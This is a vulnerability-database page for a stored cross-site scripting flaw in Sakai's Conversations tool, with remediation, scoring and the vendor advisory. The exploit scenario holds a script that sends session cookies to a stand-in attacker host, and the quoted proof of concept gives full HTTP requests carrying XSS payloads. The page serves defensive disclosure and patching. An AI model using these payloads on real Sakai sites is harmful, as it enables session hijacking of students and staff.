Skip to main content

Sakai Conversations CVE-2026-54049

| EUVDEUVD-2026-91027 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-24 https://github.com/sakaiproject/sakai GHSA-w2x5-gv52-9ccv
8.7
CVSS 3.1 · Vendor: https://github.com/sakaiproject/sakai
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as any site member (student or higher)
  2. Delivery
    POST XSS payload in message field to /api/sites/{siteId}/topics or /posts
  3. Exploit
    ConversationsServiceImpl persists raw HTML to database without sanitization
  4. Install
    Victim user opens Conversations view in browser
  5. C2
    LitElement fetches stored content via REST API
  6. Execute
    unsafeHTML() renders injected payload without escaping
  7. Impact
    Injected JavaScript exfiltrates session cookies or performs authenticated actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The Sakai Conversations tool must be actively enabled on the target site - it is not enabled by default on all sites and must be added by an administrator or instructor. The attacker must hold any authenticated membership in that site (student role or higher satisfies the PR:L requirement). Victim exploitation additionally requires that the victim navigates to and views the Conversations topic, post, or comment containing the payload (UI:R). Unauthenticated exploitation is not possible per the CVSS PR:L vector. Exploitation is constrained to sites where Conversations is enabled; sites using only other Sakai tools (Announcements, Assignments, Resources) are unaffected since those tools apply the missing sanitization. No special network position, operating system, or browser configuration is required beyond authenticated network access to the Sakai instance.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, score 8.7) accurately characterizes this threat: network-accessible, low complexity, requiring only student-level authentication, with Changed Scope reflecting cross-user browser compromise and high confidentiality and integrity impacts from session hijacking and gradebook exfiltration. No EPSS score was provided in the intelligence feed, and this CVE is not currently listed in CISA KEV, so no confirmed active exploitation exists. However, a fully weaponized proof-of-concept with database verification steps is publicly disclosed in the GitHub security advisory (GHSA-w2x5-gv52-9ccv), dramatically lowering the bar for exploitation. The educational deployment context amplifies risk: a single post in a large course section propagates the attack to hundreds of victims without any additional attacker effort. Real-world priority should be treated as high for any Sakai 23.x deployment with the Conversations tool enabled, despite the absence of KEV status.

Exploit ScenarioDerived

A student enrolled in a large lecture course navigates to the Conversations tool and creates a new topic with the message body set to <script>fetch('https://attacker.example/c?d='+document.cookie)</script>. When any other enrolled student or the course instructor opens the Conversations view, the LitElement component fetches the stored topic via the REST API and renders it with unsafeHTML(), causing the injected script to execute and exfiltrate the victim's Sakai session cookie to the attacker's server. A full proof-of-concept demonstrating this exact flow, including database verification of the stored payload, is publicly available in GitHub security advisory GHSA-w2x5-gv52-9ccv.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

Stored XSS in Sakai Conversations (versions 23.0-23.3) allows any authenticated site member - including students - to inject arbitrary HTML and JavaScript into topics, posts, or comments that subsequently execute in the browsers of every user who views that content. The Conversations REST API accepts raw HTML in message fields without invoking Sakai's standard FormattedText.processFormattedText() sanitizer, and the LitElement frontend renders stored content via unsafeHTML() with no secondary defense. A detailed proof-of-concept including cookie exfiltration and database verification is publicly available in the GitHub security advisory; no active exploitation is confirmed via CISA KEV. In university deployments with hundreds of students per course, a single malicious post can compromise all enrolled users simultaneously.

RemediationAI

Upgrade to Sakai 23.5 or later, which incorporates the fix committed on 2026-06-02 (commit 2696b4b48cbef2e81512f52f84f7477adff78b27). The fix introduces sanitizeFormattedText() in ConversationsServiceImpl that invokes FormattedText.processFormattedText(text, null, FormattedText.Level.HIGH) before persisting topics, posts, comments, and settings guidelines. Note that the patched release version 23.5 is referenced in the GitHub tag (https://github.com/sakaiproject/sakai/releases/tag/23.5) but is described as an upstream fix commit only - the released patched version is not independently confirmed via NVD at time of analysis. As a compensating control, administrators can disable the Conversations tool at the site or institutional level via Sakai's site setup; this fully prevents exploitation but eliminates the discussion functionality for all courses. No partial mitigation (e.g., WAF rules) is reliably effective for stored XSS in a rich-text context with legitimate HTML use cases. See advisory https://github.com/sakaiproject/sakai/security/advisories/GHSA-w2x5-gv52-9ccv for full details.

Affected VersionsENISA

sakai 25.0, < 25.3
sakai 23.0, < 23.5

Affected Packages

maven org.sakaiproject.conversations:sakai-conversations-impl no fix
maven org.sakaiproject.kernel:sakai-kernel-impl no fix
maven org.sakaiproject.rubrics:rubrics-impl no fix
euvd sakai_23_0 fix: 23.5
euvd sakai_25_0 fix: 25.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) is a dual-layer failure: storage and rendering. At the service layer, ConversationsServiceImpl.saveTopic(), savePost(), and saveComment() persist the user-supplied message field directly to conv_topics.MESSAGE, conv_posts, and conv_comments respectively, without calling FormattedText.processFormattedText() - the sanitizer that Sakai's Announcements, Assignments, and Resources tools all invoke. On the frontend, SakaiTopic.js (line 679), SakaiPost.js (lines 429, 432), and SakaiComment.js (line 148) all render the stored field using LitElement's unsafeHTML() directive, which explicitly bypasses the framework's normal HTML escaping. Affected Maven artifacts per CPE data are org.sakaiproject.conversations:sakai-conversations-impl, org.sakaiproject.kernel:sakai-kernel-impl, and org.sakaiproject.rubrics:rubrics-impl, all in the range 23.0-23.3.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/sakaiproject/sakai) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

Network-accessible REST API with PR:L (student enrollment sufficient); scope change to all viewing victims' browsers; C:H/I:H for session hijacking and impersonation; A:N as availability is unaffected.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/sakaiproject/sakai).

CVSS VectorVendor: https://github.com/sakaiproject/sakai

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.

Description

The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (conv_topics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.

The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in conv_comments.

On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:

  • SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)}
  • SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)}
  • SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}

Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.

Proof of Concept

Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP_275K_7418).

Step 1 - Inject XSS payload in topic:

POST /api/sites/BELP_275K_7418/topics HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json

{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}

Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.

Step 2 - Verify stored in database:

sql
SELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics
WHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
-- Result: MESSAGE = <img src=x onerror=alert(1)>

Step 3 - Inject XSS payload in post reply:

POST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json

{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP_275K_7418"}

Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.

Step 4 - Verify in database:

sql
SELECT POST_ID, MESSAGE FROM conv_posts
WHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
-- Result: MESSAGE = <script>alert(document.cookie)</script>

When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.

Impact

An attacker with any site membership (student role or higher) can:

  • Perform actions on behalf of victims
  • Exfiltrate gradebook data and course content
  • In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously

Status / timeline:

  • 2026-06-02: Fix committed to master (2696b4b48cbef2e81512f52f84f7477adff78b27)
  • Release pending.

Executive ViewAI

Why It Matters

Sakai Conversations versions 23.0-23.3 contain a stored cross-site scripting vulnerability that allows students and other low-privilege users to inject malicious code into course discussions, potentially compromising all instructors and students viewing affected content. In typical university deployments with hundreds of participants per course, a single malicious post can simultaneously compromise all enrolled users, threatening both educational continuity and sensitive institutional data.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 84% exploitable
Prevalence
Low
niche open-source LMS deployed primarily in higher education institutions
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy